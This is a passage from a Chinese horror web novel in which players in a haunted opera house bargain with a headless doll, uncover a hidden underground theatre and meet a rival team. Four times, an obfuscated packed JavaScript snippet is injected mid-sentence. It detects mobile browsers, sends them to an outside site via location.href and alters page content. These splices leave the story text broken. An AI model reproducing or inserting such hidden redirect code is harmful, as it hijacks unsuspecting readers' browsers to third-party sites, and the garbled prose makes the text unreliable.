“它们或许都跟我长得很像,但都不是我原来的那个样子。”克里斯汀咬牙切齿,“但我会把它们都留下来,如果不这样做,我怕我会忘了我原来的模样。” 她捧起一颗头颅,对着舒瞳,笑意满满:“你觉得这个像吗?” 不等她反应,耳机那边迟青瑜的声音传来:“不要回答。” 这个问题是陷阱。 克里斯汀已经认为这里的脸都不是她原来的脸,不管回答是或不是,都很有可能触怒她。他们对这里的规则还未完全参透,激怒疑似核的诡异并不明智。 舒瞳需要巧妙地混过去。 沈秋白接着指示:“按我的话说。” 舒瞳轻微地点点头,声情并茂地复述着沈秋白的话语:“我喜欢你原来的样子,那个该死的‘魅影’真不是人,怎么能做这样的事?告诉我怎么找到她,我一定会帮你复仇的。” 不算回答,但把话题引了回来。 克里斯汀放下手中的头颅,语气幽深:“她在一个不存在的地方。” “她跟我不是一个世界的人,但这样也很安全,我但也不用担心被她陷害了。” 舒瞳细细品着这句话,却并没有感受到克里斯汀对此有多大的情绪。 没有安心、没有坦然、甚至没有爱与恨。 这件事就像一个客观事实,她已经认定,不会有情绪掺和进来。 此时,蓝牙耳机里传来迟青瑜的声音:“仔细看看,房间里有镜子吗?” 舒瞳的眼珠转了一大圈,随后轻轻咳嗽两声。 两声,意思是否定。 沈秋白:“这有什么含义吗?” 迟青瑜道:“没有镜子并不意外。毁容的人大多无法面对自己的脸,但这跟我们听说的故事冲突。” 沈秋白认真听着。 “许灵儿在死之前已经在公众面前现身许久,她早已通过整容恢复□□成样貌,按理说不应该会有如此强烈的执着。” 沈秋白却有不同的见解:“这话独断了,大多数人对自己的容貌都非常在意,你不是吗?” 迟青瑜表情古怪,没有正面回应她:“……克里斯汀对自己毁容一事,已经夸张到病态的程度,你认为许灵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13377007|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿也是这样的吗?” 没人知道,明星的背后都是什么样的面孔。 休息室那边,舒瞳与克里斯汀还在聊着,克里斯汀忽然提问:“如果我说,有个方法能帮我除掉她,你们会做吗?” “这……” 未等舒瞳回答,迟青瑜立马关闭录音键。 沈秋白惊讶道:“怎么闭麦了,这么突然?” “她刚刚说‘你们’。”迟青瑜脸色不大好,“她知道舒瞳不是一个人,她有队友。我怎么就大意了呢……” 专业的音乐人,听力都比常人敏锐,俗称耳朵好。那么作为克里斯汀的诡异,会不会也能听到耳机里她们的谈话? 克里斯汀噗嗤一声笑了出来,而后是控制不住的开怀大笑。 “哈哈哈哈——抱歉抱歉,实在是太有意思了,我一开始就听出来有不止一个人的声音。你戴着耳机对吗?” 舒瞳一时气急,也懒得演下去,她直接坦白:“是啊。” “别生气,我不是故意的,只是想防一手探探你们的目的。”克里斯汀收起笑意,语气认真,“我说的也是实话,你们真想帮我,就去找回我原来的头颅吧——” “魅影”将克里斯汀的头颅藏了起来。 克里斯汀充满希冀地诉说愿望:“只要我能找回往日的美貌,她就不可能夺走我的角色!只要你们帮我,我也可以帮你们达成一些力所能及的事情。” 舒瞳收到耳机对面的指示,沉声道:“行,我们帮你。” “还有一件事。” 克里斯汀一步步靠近她,抬起木质的手臂拂过舒瞳的耳畔,温润的木头质地贴着她的耳侧。 她听到人偶轻笑道:“我想见见你的朋友。” 舒瞳不敢动,开始装傻充楞:“什么?” “就是那个在背后指挥你的朋友。我刚刚听到了她的声音,可真好听,我想认识一下,不行吗?” 耳机那边,迟青瑜和沈秋白默默对视一眼。 又来了。 迟青瑜认命般闭闭眼,单手揉揉太阳穴:“你也听司沉说过我的体质吧?莫名其妙的,招鬼体质。” 沈秋白此时不知如何安慰,只能继续当下的话题:“她已经发现你了。” 迟青瑜知道,该来的总会来,躲不掉的。 “你要见她??” 越是核心的角色越是藏着线索,迟青瑜已经下定决定,她对着手机说:“舒瞳,我可以见她。” ------------------------------------------------------ 片刻后。 舒瞳从幕后出来,身后跟着熟悉的无头人偶。 舒瞳依旧摸不准克里斯汀的意思,她警戒着,但对方看上去并无恶意。 “你叫什么名字?” 甚至她的声音里都只带着单纯的好奇。 “迟青瑜。” 克里斯汀诡异地停顿一秒,她甜美的声音悦耳至极:“我喜欢你的声音,但……” 人偶的双手抚摸着迟青瑜的脸颊。 “我更喜欢你的脸。” 26.魅影歌剧院07 迟青瑜大脑宕机一秒。 她很少关注自己的长相,只在他人口中听过对自身样貌的评价,跟舒瞳一起长大,很少人会夸她好看。 迟青瑜的好奇心被勾起:难道是自身体质对诡异的吸引力,影响了诡异的认知吗? 所谓“情人”眼里出西施? “你说我吗?”她任由人偶的手抚摸她的皮肤,“很少有人这么说我。” 克里斯汀的声调微微上扬:“那是他们不懂,观众缘是个非常玄学的东西。有时候,并不是最好看的人最受欢迎,观众总有自己的选择。” 舒瞳在一旁听得小脸紧绷,她盯着人偶的手,总怕她下一秒性情大变,做出什么事情来。 沈秋白轻拍她的肩膀:“别太紧张,她知道自己在做什么。” 克里斯汀像是故意无视两人的小动作,她自顾自继续说着:“我之前认为,如果我能找回我的美貌,那将无人能撼动我的位置,但现在我不确定了。” “如果你也站在舞台上,观众会不会更喜欢你?” 关节明显的木偶手臂捧起她的脸,迟青瑜视线被迫上移,她能看到人偶颈部被平整切断的截面。 克里斯汀隐隐施加着力道,像是在让她表态。 迟青瑜从她的话中读出嫉妒的意味来,她反倒释然一笑:“你放心吧,我不会站上舞台的。” 两人安静地对峙。 克里斯汀不说话,迟青瑜无法从一个没有五官的人偶身上获取情绪信号,但她感觉到脸上的力道在慢慢松懈,克里斯汀轻笑一声,松开了桎梏她的手。 “不可思议,你意外地很诚实,实话说,我很少见到你这种人。” 迟青瑜揉揉下巴,追问:“你见的都是什么人?” “骗子,大多数都是。” 克里斯汀的语气很轻松,并未有太多负面情绪,这让迟青瑜对她的认识更清晰几分。 “听起来你不讨厌他们。” “我不讨厌,只要受骗上当的不是我,骗谁又与我何干?”克里斯汀说完这话,人偶的身躯僵了僵,随后话锋一转,“哎呀,这话可不能当着你们的面说,我查点忘了,你们还是观众呢~” “我还需要依靠你们投票来获得女主角的位置,真是说错话了。” 舒瞳听得眉心一跳,心里忍不住嘀咕:这哪来的绿茶?说话真不要脸!忍住,祂不是正常人,别冲动…… 她破天荒地压抑住自己骂人的冲动,下一刻,克里斯汀的话更让她火大: “你们会投票给我的,对吗?” 沈秋白眼尖,立刻就拦住舒瞳:“管理一下表情。” 迟青瑜眯眯眼睛,停顿几秒,她不能随意答应克里斯汀。 她只能尝试蒙混过关:"但我认为,赢下这场对局最好的方法,不应该只是关注我们几个人的票数。" “现场的观众这么多,怎么能保证过半的人票数投给你呢?但若是你恢复原样,‘魅影’怎么会是你的对手?” 迟青瑜将她的注意力再次引到线索上:“你刚刚说,如果我们能帮你找到被藏匿起来的头颅,你就能拿下女主角,同时也会给予我们力所能及的帮助。” “呵,可以,但我现在换想法了。” 舒瞳:? “你们若是能找到那当然最好,找不到的话……迟青瑜,你就用这副皮囊来跟我交换吧,如何?” 舒瞳没忍住:“什么?!你——”后面的话语被沈秋白一把捂住,吞回腹内。 迟青瑜那熟悉的感觉又回来了。 她定定地矗立,脑海中思绪飞舞。 “时限?” “那当然是明晚投票之前。” 她猜到了,嫣然一笑:“好,我答应你。但你也要告诉我们线索,不然我们怎么帮你?” 克里斯汀耸耸肩:“我只听说,‘魅影’会顶着我的脸招摇撞骗,她原本的样子太见不得人,平时都用面具遮得严严实实。” “我不知道她在哪,但我听说剧团的管理员认识她。” 迟青瑜立刻想到,在《歌剧魅影》里,从小长相怪异的“魅影”正是被剧团的管理从马戏团救出,后来他一直在剧院的地下生活,所谓的地下王国也就是剧院的地下世界。 迟青瑜颔首:“行。” 信息不多,但够用。 克里斯汀对这个结果很满意,她仰着不存在的头颅,迈着高傲的步子,转身回到幕后。 沈秋白终于放开舒瞳,后者大喘一口气:“小瑜你怎么都答应她了??” 舒瞳不理解,她可没料想到事情居然发展到这步,早知那诡异会这样做,她死也不可能答应见面的。 迟青瑜的反应很平静:“我们拿到想要的信息了。你放心,我会在明晚之前结束这场闹剧。” 沈秋白闻言,弯眉上挑:“你发现线索了?” 说是线索,其实更像是迟青瑜的推测。 克里斯汀提到的演出大概也在明晚,“魅影”的原话说的是:我会在这里演唱。这句话如果放在之前的语境里,合理的理解是指魅影歌剧院,但有一点很奇怪。 “当时,克里斯汀指责‘魅影’不敢现身时,为什么‘魅影’默认了这个说法?按理说,她藏匿着克里斯汀的头颅,完全能以她的样貌现身,这样效率更高,何必大吵一架还要延期到明晚呢?” 沈秋白和舒瞳被问楞了。 沈秋白沉声道:“好像是有些蹊跷。” 舒瞳努力地思考:“但可能没这么复杂,如果''魅影''真的不能现身呢?” 迟青瑜顺着这个思路继续说:“我们假设,‘魅影’无法在歌剧院现身。那就只有一种可能,她说所的‘这里’,指的不是魅影歌剧院。” 舒瞳啊了一声:“你是说规则里说的那个……” 迟青瑜猜测道:“这样一来,地下歌剧院百分百是存在的。且制定规则的克里斯汀,并不想让我们知道,所以才在第十一条里企图洗脑我们。她说的不知道,估计是在撒谎。” 克里斯汀对骗子并无太多憎恨,可以推测,她本身也并不是良善之人,没有太高的道德底线。 “而‘魅影’所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389308|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在的地方,就在地下歌剧院。” 舒瞳的五官皱成一团:“好阴险的女人啊!” 沈秋白拿出手机,给司沉同步着消息:“既然如此,我们有必要汇合共享情报。” 但需要注意的细节不止这些。 魅影歌剧院的《观众须知》里,对任何一项规则都有明确的惩罚和处理措施,但只第十条中提到地下歌剧院时,只是让玩家无视并且离开。 “规则里没有提到,如果我们主动去寻找甚至进入地下歌剧院,会发生什么事情。” “肯定不会是什么好事呀……” 与舒瞳不同,沈秋白更加深思熟虑:“按照以往的经历,规则里没有写的东西,都是不存在约束力的。” 舒瞳没听懂,迟青瑜在一旁解释:“也就是说,规则上没有说清楚的情况,可以合理钻空子。并且,核只对自己的怪谈区域有规则的掌控力和对玩家的约束力。” 魅影歌剧院的规则里,提到地下歌剧院的存在,却没有任何条例禁止玩家进入地下歌剧院,只能说明一个问题。 这里的“核”无法掌控地下歌剧院。 沈秋白理解迟青瑜的意思:“你认为,这里可能存在两个‘场’?” 舒瞳一个头两个大:“一个都很麻烦了,怎么有两个?” 迟青瑜认为,或许她们接触的只是其中一个怪谈,名叫“魅影歌剧院”,但若想解开这个怪谈的谜题,就必须进入另一个怪谈中,获取线索。 沈秋白恍然大悟:“这么说,我们也不用分清她们俩谁才是核,她们是两个个体,很有可能是两个核。” 嘀嘀。 沈秋白的手机传来提示音,这是队友发送信息的特殊提示。 三人各自打开手机,群里,一直安静的司沉发过来一张照片。 照片背景很黑,中央被闪光灯照出一片明亮的区域,显现出一张贴在窗户玻璃上的纸。 玻璃看起来像是天窗,也不知道他是怎么爬上去的。 迟青瑜看向纸张的标题—— 《关于明晚演出活动的投票规则》。 ------------------------------------------------------ 与此同时,另一边。 身材修长的男人在黑暗中一跃而下,稳稳落地。 司沉在这段时间里摸遍了整个歌剧院,除了后台没去,他把这里所有的进出通道和门窗都翻找了一遍。 通道封闭,门窗锁死,暴力无法破坏。 最重要的是,他根本没找到任何一条通往所谓地下歌剧院的入口,也没有找到哪怕一张纸条写着相关信息。 他都在考虑,实在不行,就要排查密道的可能性时,就在天窗的一块玻璃上发现新的规则。 他没来得及细看,先是拍下照片发到群里,再等待同伴的消息。 此时,正是晚上十点。 嘀嘀。 没等多久,群里弹出新的消息。 迟青瑜:【舞台集合。】 27.魅影歌剧院08 《关于明晚演出活动的投票规则》: 亲爱的观众朋友们,本剧团因女主角风波而不得不暂停剧目演出,为各位带来不便我们深感遗憾。为了补偿各位观众,也为了提高观众朋友们的参与度,本剧团现实行“女主角投票制”。 以下是各位需要注意的内容: 1、每一位观众只有一次投票机会,工作人员禁止参与投票。 2、请各位观众在观看完演出后,投票给你心目中的女主角。 3、如若各位对两位主演感兴趣,可以在剧团内寻找海报,上面会介绍她们的详细信息。 同时,为了保证明晚演出的正常进行,请无关人士禁止靠近舞台,我们将于明日对损毁的舞台和道具进行修缮,如若出现意外,后果自负。 “这不是什么都没说吗?”舒瞳明显对自己的投票权被ban(禁止)一事很不爽。 这是司沉在某个不知名角落找到的规则,乍一看,上面并没有太多重要的信息。 迟青瑜却看得眉头紧锁。 她用最简短的话语在群里发了通知短信,随后抬眼扫过众人:“走,现在就去舞台。” 沈秋白询问的意向刚刚萌芽,就看到迟青瑜转身就往舞台的方向走,走两步还回头催促她们快跟上。 “这是怎么了?”舒瞳快步赶上,“我们为什么要去舞台,还有剧目海报没找呢?” 迟青瑜飞快地在聊天框内输入文字,反问舒瞳:“你知道后台哪里有工具吗?锤子、斧头、撬棍之类的。” 旧的问题没回复,新的问题又抛过来。舒瞳勉强接话:“后台没有,但杂物室应该有……如果杂物室还在原来的地方。” “那好说。”迟青瑜打字:【去找杂物室,要快。】 嘀嘀。 司沉回复消息:【找到了。】 随之附赠一张杂乱的工具图片,他基本上把符合要求的工具都搜刮一通。 几分钟后,迟青瑜三人站在凹陷的舞台旁,扛着一麻袋工具的司沉姗姗来迟。 迟青瑜从里面挑了个最趁手的撬棍,道:“都挑个工具,我们要开挖了。” “挖这里?”舒瞳指了指凹陷的舞台,“这下面有什么东西吗?” 迟青瑜瞟一眼手机的时间:“现在是晚上十一点,距离‘明日’还有一个小时,过了午夜零点,规则就会禁止我们靠近舞台,在那之前,我有一个想法需要得到证实。” 没有把握的事情,迟青瑜不会那么果断,舒瞳选择相信她:“好。” 剧院的木质地板还算新,平日里也有定期维护,就算是被道具砸了个大坑,契合严实的木地板也不好破坏。 众人一榔头一斧头地拆着,地板下的灰尘扬得到处都是,损坏的木地板被清除,舞台下面一片漆黑。 司沉从工具箱里翻出强光手电筒,刺眼的白光很快将底部照得一览无余。 “这是——?!”舒瞳讶异地捂着嘴。 舞台之下的地板上,贴满了纸张。 迟青瑜从司沉手中接过手电,判断着落地高度:“还好,看起来不到两米,一会儿记得拉我上来。” 随后,她纵身一跃,跳进舞台底部,落地时扬起的尘土刺激着她的呼吸道,迟青瑜咳嗽几声,挥手扬走尘土。 “小瑜。”舒瞳撑着地板边缘,使劲伸长脖子朝里面喊道:“里面有什么东西吗?” 迟青瑜的脚下,踩着数张白纸,这些白纸粘贴在地板上,上门写着同样的文字: 【这里是地面。】 她蹲下身,伸手撕掉其中一张纸。 这张纸的背后还是白纸,但写着另一句话:【地面之下是地狱。】 她继续撕扯,粘贴的纸张很多,每一层的话都不一样。 最后展现在她眼前的,是水泥浇灌的地板,地板上,用棕褐色的干涸血迹写着几个大字: 【停下。】 像是什么人在跟她对话,但迟青瑜不予理睬。 大字旁还有一行小字: 【想想规则上的内容,回去!】 手电筒的强光让舞台上的人也能看清地板上的大字,沈秋白略有些忧虑:“你先上来,我们还是商量一下吧?” 迟青瑜用力地狠狠跺几下地板,不和谐的空腔音回荡开来,司沉惊异道:“地板下是空的,有密室!” 他手持撬棍跃下,迟青瑜继续清理着满地白纸,她在边缘处终于发现一条缝隙,继续沿着缝隙清理,一扇方形的地道入口呈现在眼前。 此时,沈秋白和舒瞳也跳下来,司沉用撬棍尝试将地道的门敲开。 刺耳的金属摩擦声令舒瞳感到不适:“小声点,要是把诡异引来了怎么办?” 地道上着锁,但已经陈年老旧,男人借助工具用力一踩,生锈的锁断开,他拉起厚重的铁质地道门。 在这下面,是一条长长的扶梯,距离地面约有四五米长。 迟青瑜:“找到了,这应该就是通往地下歌剧院的入口。” 这个怪谈处处充斥着与《歌剧魅影》有关的细节,而在沈东安给她整理的资料中,某个电影版本里,魅影的地下王国的入口正是在舞台下面。 而方才规则中提到要修复舞台一事,很明显是一条临时的公告——因为表演弄坏了场地,才需要紧急修补。 但这条公告中的语气又过于强硬,以至于迟青瑜能从中感觉到,核在警告他们:不许靠近这里。 越是不允许靠近的地方,越是藏着秘密。 “好黑啊下面。”舒瞳蹭了一手的灰,嫌弃地用裙子擦手。 迟青瑜掰过舒瞳的手掌,仔细辨认道:“这是可燃物中在不完全燃烧时残留下来的碳,会随着浓烟飘散,下面发生过火灾,所以建筑内部都是这些黑色的灰。” 提到火灾,舒瞳的表情更扭曲了:“火灾?不会是许灵儿演唱会的时候经历的那场吧?” 司沉已经在群里看过沈秋白分享的消息,他做下判断:“下面应该藏着许灵儿的过往线索,但是……” 现在最大的问题是,要不要下去?谁下去? 四人均是踌躇不定。正在他们犹豫之时,地道下面传来陌生的动静。 众人噤声。 迟青瑜仔细分辨着声响:这是人的脚步声,而且,不止一个。 是谁?按照原版《歌剧魅影》里的内容,基本只有魅影常年待在地下王国,会是他吗?亦或是祂? 一道刺眼的灯光顺着扶梯照上来,闪得她半眯起眼。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13409659|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上面是谁?”声音的主人似乎是位成年女性,音调下压着,警惕且警告的意味很强。 但,这跟表演时神秘的女声并不相似,她不是魅影。 灯光移开,地道上下的人们视线相接,面面向觎。 “你们是谁?上面是什么地方?”女人身旁还有一个肌肉男,他一步走上前来质问上面的人。 迟青瑜一眼扫过下面的人:“你们只有四个人吗?” 肌肉男扯着嗓子吼道:“那又怎么样?你们到底是谁,快说清楚!” 沈秋白自觉揽过沟通的任务:“我们也是被困在这里的人,刚刚找到这个入口,没有恶意,你们也是被困的玩家吗?” 她故意提到“玩家”一词,底下的四人均是面上一怔,互相交换着眼神,最开始发声的女人接过话柄: “我们也是玩家。” 经过沈秋白的一番沟通,原来,地道下面的四人也是在表演途中被卷入的玩家。 迟青瑜的视线一一扫过底下的人脸,他们脸上神情各异,但都有一个共同点:他们并不慌张。 “小心点,那些玩家不是第一次进来。” 在怪谈里碰上有经验的玩家,运气好就是抱大腿,例如舒瞳;运气不好,就只能被猜忌和怀疑。 她低声提醒沈秋白,而后扬声对下面的女人问道:“你们下面是地下歌剧院吧?” 女人脸上闪过一抹惊讶的神色。 迟青瑜正想继续交谈,却被她冷言以对:“我们不会告诉你们的。” 迟青瑜:? “你们有你们的规则,我们有我们的规则。只要各自找到出口,大家都安全出去更好。” 迟青瑜冷笑:“所以,你们的规则里写了,不让你们将规则告诉其他人吗?” 对面语塞。 迟青瑜内心:真是太好猜了。 女人反应过来被一个看起来像学生的女孩嘲弄,冷哼一声:“那又如何?你也是玩家,应该明白在怪谈里最重要的就是遵守规则。我们遵守规则,没有任何过错。” 她将规则搬出来,完全撇清自己的责任。 对方四人好似早就在这一点上达成共识,女人说完后,身旁的肌肉男又接着补充:“要不是你们弄出这番动静,我们还不管你们上面怎么样呢,别过来,我可不想再多几个怀疑对象。” 气氛剑拔弩张,这样下去没有协商的余地。 对方铁了心不合作,听起来对自己的通关方式也有信心,但从各处细节来看,迟青瑜并不认为他们找到了正确的通关方式。 但要如何才能说服他们? 迟青瑜手指轻点着下巴,若有所思。 几秒后,她开口:“你们的规则里应该还有一条:不允许你们过来,但也不许我们过去吧?” 肌肉男的脸部肌肉瞬间僵住。 舒瞳咂舌:“我天,诈出来了。” 迟青瑜从小就很喜欢玩这个把戏,舒瞳早已见怪不怪,此时只能怪对方表情管理太差。 肌肉男咬牙切齿:“我可什么都没说,那是你自己猜的。” “行。” 迟青瑜探出半个身子:“很遗憾,那是束缚你们的规则。” “但我要是执意要下来呢?” 28.魅影歌剧院09 迟青瑜没有给他们反应的时间。 扶梯约有四五米长,己方在上,要真打起来己方也有地形优势。 她一手抓着扶梯,侧身一跃,两只脚稳稳踩在横栏上,顺势就要下来。 底下的肌肉男骂了句脏话:“你疯了?不要命了?” 见她动作不停,底下的人急了:“你别动,我们可以商量!” 迟青瑜停住动作,俯视几人。 她一副谈判的样子:“我可以不下来,但你们要把你们的规则告诉我。” “哈?”肌肉男怀疑她脑子不正常,“你听不懂人话是不是?让你下来我们会死,让你知道规则我们也会死,我为什么要这么做?” 理由当然只有一个。 迟青瑜扯扯嘴角,皮笑肉不笑:“因为我们必须合作才能出去。” 在场的人还未理解这句话的意思,她点出关键信息:“你们什么时候见过,两个完全独立的场,会干涉对方的时候?” 沈秋白反应过来她的意思:“没错,这不合理。” 至今为止所有的资料里,就算有场生成得很近,核之间也绝不会干涉对方。本质上,被卷入怪谈的玩家都是祂们的储备粮,干涉规则无异于夺食,谁会允许到手的鸭子飞去别人家池塘? 这两个场之间不仅生成得很近,还有连接通道,规则的禁止条例欲盖弥彰,祂们的用意不言而喻。 “祂们分散了各自的线索和规则,让我们无法获得完整的线索。” 这两个核,在合作。 闻言,周遭安静一瞬,底下的四人窃窃私语。 最终,四人达成统一意见,先前的女人作为代表与迟青瑜交涉:“我们的任务是在明天的投票环节,让魅影拿到过半的票数,这样演出顺利进行后,歌剧院的门将会再次打开。” 不出意料,与迟青瑜四人的任务完全相反。 “地下歌剧院也发生了演出事故吗?” 女人点点头。 地下的故事版本与地上稍有不同。他们的故事进行到了魅影来找克里斯汀的私会桥段,在原版故事中,魅影因剧团投资人对克里斯汀的爱意而吃醋嫉妒,带着克里斯汀来到他的地下王国。 但就在此时,剧情发生偏移。 魅影嫉妒克里斯汀的精彩表演,挥刀斩首,失去头颅的克里斯汀落荒而逃,而魅影此时宣布次日同一时间将举办演出,让观众选出真正的女主角。 双方的经历差异巨大。 迟青瑜察觉不妥:“你们都是观众吗?” 肌肉男:“我不是,我是这里请的临时安保。” 两边票数完全一致,三对三,若是两方没有任何交流,不出所料将会产生平局。 如若女主角没有选出,演出迟迟无法进行,那么双方均会被困在这里,直到被诡异吃掉。 “你们不能下来,我们有规则……”女人顿顿,发觉自己差点说漏嘴,“但我们可以想办法合作。” 四人在方才的讨论中,也察觉规则中隐藏的问题, 可眼下,他们还是拒绝直接说出自己找到的规则。 舒瞳小声道:“小瑜,我们还有十分钟就到十二点了……” 迟青瑜神情凝重。 十二点过后他们无法再靠近舞台,后面不一定还有机会见面。 “你们在干什么?” 一道阴森森的声音突兀地插入几人的对话。 迟青瑜闻声抬头,一道漆黑的人影出现在众人身后,那人影全身穿着黑色礼裙,一步步向众人靠近。 “这么晚了,你们在这里干什么?” 这是个有点上年纪的女声,低哑的声线令人不禁打个寒颤。 手电筒的光一晃而过,迟青瑜片刻间认出她的装扮——那是《歌剧魅影》里的剧团管理人女士,她也是唯二知道魅影藏在剧院地下的人。 糟了。 “你们这是要去哪里?”黑衣人偶问道。 “我们……”舒瞳心虚,立刻捂住自己的嘴:糟糕,差点回答她。 规则上说地下歌剧院不存在,他们绝对不能提到任何与地下歌剧院有关的字眼。 黑衣人偶的手杖敲击地面,明明是很轻的动作,却造成很强的震感。 “你们要下去?” 不等他们回答,人偶身上的关节传出异响,祂的双臂不自然地扭曲,黑色的裙摆下有什么东西在蠕动。 迟青瑜扭头询问底下四人:“你们没有拦住我们过来,规则上说马上会死吗?” 肌肉男也发觉上面的声响,直觉不妥:“没有,但是——” 既然不会直接死掉,那就还有周旋的余地。 “快跑!” 她话音刚落,便顺着扶梯划到最底部,舒瞳和沈秋白顺势而下。 这时,黑衣人偶的裙摆下,长出数双人形手臂,手臂关节繁多,扭曲成昆仲类似的形态。 司沉将手中的撬棍一甩,正中人偶腹部,人偶顺势倒下,但那些手臂从裙下伸出,越来越长,直至从裙底下露出一张女人的脸。 女人张开血盆大嘴,昆虫形态的口器张合着。 人偶此时匍匐在地,像蜘蛛的姿态蠕动着。 司沉顾不得多看,转身进入地道,他顺手拉起金属铁门,但此时一只手臂迅速卡在中间,铁门无法关闭。 “跑!” 不知是谁喊着:“你们真是瘟神……跟我们跑!” 领头的是交涉的女人,她看着并不健硕但步伐矫健,跑得很快。 扶梯下并不是地板,而是歌剧院上方的阁楼,顺着七弯八拐的通道下去可直达地下歌剧院的舞台。 窸窸窣窣的声响在身后追着,人偶的声音断断续续,到后面直接转变为尖锐的嘶吼。 众人拔腿狂奔,地下歌剧院的道路破损严重,木板被踩踏,发出巨大的声响,楼梯没有扶手,摇摇欲坠。 “这边!” 女人拐进一条小道,打开不知名房间的门。 几人顾不得多想,齐齐躲进未知的空间内,等最后一人进入,她反手和上门。 嘭,嘭。 一下巨大的关门声后,紧接着重物撞击门板的声音。 迟青瑜不自觉地放缓呼吸节奏,她小声询问:“那是个低阶诡异?” 低阶诡异更容易控制不出人形,他们捕猎和进食时,大多会以奇怪的样貌示人。 门外的敲击声越来越重,脆弱的门板根本支撑不了多久,迟青瑜喊道:“屏住呼吸,越久越好。” 在场的人纷纷反应过来,只有舒瞳并不理解这一动作的含义,尽管有些后知后觉,但她依旧照做。 撞击声停止,五秒过去。 细密的声音敲击地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426404|138280||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 板,越来越小。 黑暗中,听不到任何人的声音,舒瞳涨得满脸通红。等到声音完全消失,众人纷纷松开手,大口喘着气。 舒瞳脑子晕晕的,有些缺氧,她一手扶着墙壁问道:“你们谁解释一下,目前的状况?” 很显然,她是这里知道的信息最少的人。 迟青瑜借着手电的光打量房间内的环境,领队的女人跟她解释:“这里是声乐练习教室,在后台。” “后台?!”舒瞳反应强烈。 他们的规则里,没有禁止进入后台这一条? 迟青瑜四处张望:“你们的规则跟我们出入很大,我们必须想办法找到所有信息。” 司沉对人偶的形态变化很是在意:“刚刚那个人偶的样子,你们熟悉吗?” 队伍中,一个头发微卷的男人开口:“那、那是剧团管理人,我们这边对她很熟悉,她经常在这边游荡,要是有人违反了规则她、她就会变成那副样子。” 男人的神色并不慌张,但依旧说话结巴。 迟青瑜瞥一眼他:口吃? 沈秋白:“所以,违反规则的时候只要躲进声乐练习教室就好了?” 无人应答,看起来他们对规则的恐惧很深。 一直这样下去不是办法,沈秋白决意破冰,她先是自我介绍,而后向对方介绍己方的几位队友,同时补充重要信息:“从怪谈开始我们就没有离开过互相的视线,我们四人可以保证各自的身份。” 舒瞳听得迷糊,她小声问迟青瑜:“她说的身份是什么意思?” 迟青瑜面上不惊:“现在不方便说。” 见沈秋白态度坦然,女人也一一介绍着自己这边的人员。高大的肌肉男是剧场的临时安保,名叫熊仁泽,头发卷曲的男人是音乐剧迷,这次专门来看演出,名叫宋鹏,还有一位至始至终都没说话的女人,是宋鹏的妹妹宋佳丽。 身手矫健的女人则名叫向子茹,也是一名观众。 “我们四个虽然都不认识,但都不是第一次进入怪谈,你们可以相信我们的能力。” 迟青瑜察觉到向子茹的措辞,她没有像沈秋白那样,强调己方的身份。 “你们不是一开始就在一起的?” 向子茹也不隐瞒:“不是,但怪谈的场景从发生变故后,就转变成这样。虽然整体看起来像火灾现场,但这之后并没有太大的改变,我倾向于暂时无人死亡。” 她说的也有道理。 突然,熟悉的广播声再次响起: 【各位亲爱的玩家,你们好。】 【此时已过午夜十二点,恭喜你们活着来到第二天。】 【按照规则,如若有人怀疑队伍中混进了死人,可以通过投票检举机制进行公投处决。请于十分钟内提交答案,十分钟后提交的玩家,视为无效票。】 嘀嘀、嘀嘀、嘀嘀…… 手机提示音此起彼伏,所有人都收到一条短信: 【问题一:你的队友中是否存在死人?】 【问题二:你是否要向我们检举ta?】 【问题三:若是,请输入玩家的姓名(若不知道名字,可上传玩家照片):】 迟青瑜抬头,手机的灯光下众人神色各异。 她低垂着眼,掩饰自己的情绪,在第一个问题里输入自己的答案: 是。 29.魅影歌剧院10 这个消息来得不是时候。 双方相见不过一个小时,中途还经历谈判与躲避袭击,方才关系略有缓和,现在本就不多的信任又降低几分。 迟青瑜经过前段时间的“培训”,大致了解到,这是每个零点都会收到的短信——只有在“伥鬼”存在时才会触发。这也解释了,为什么上一个怪谈中自己没有收到这个短信。 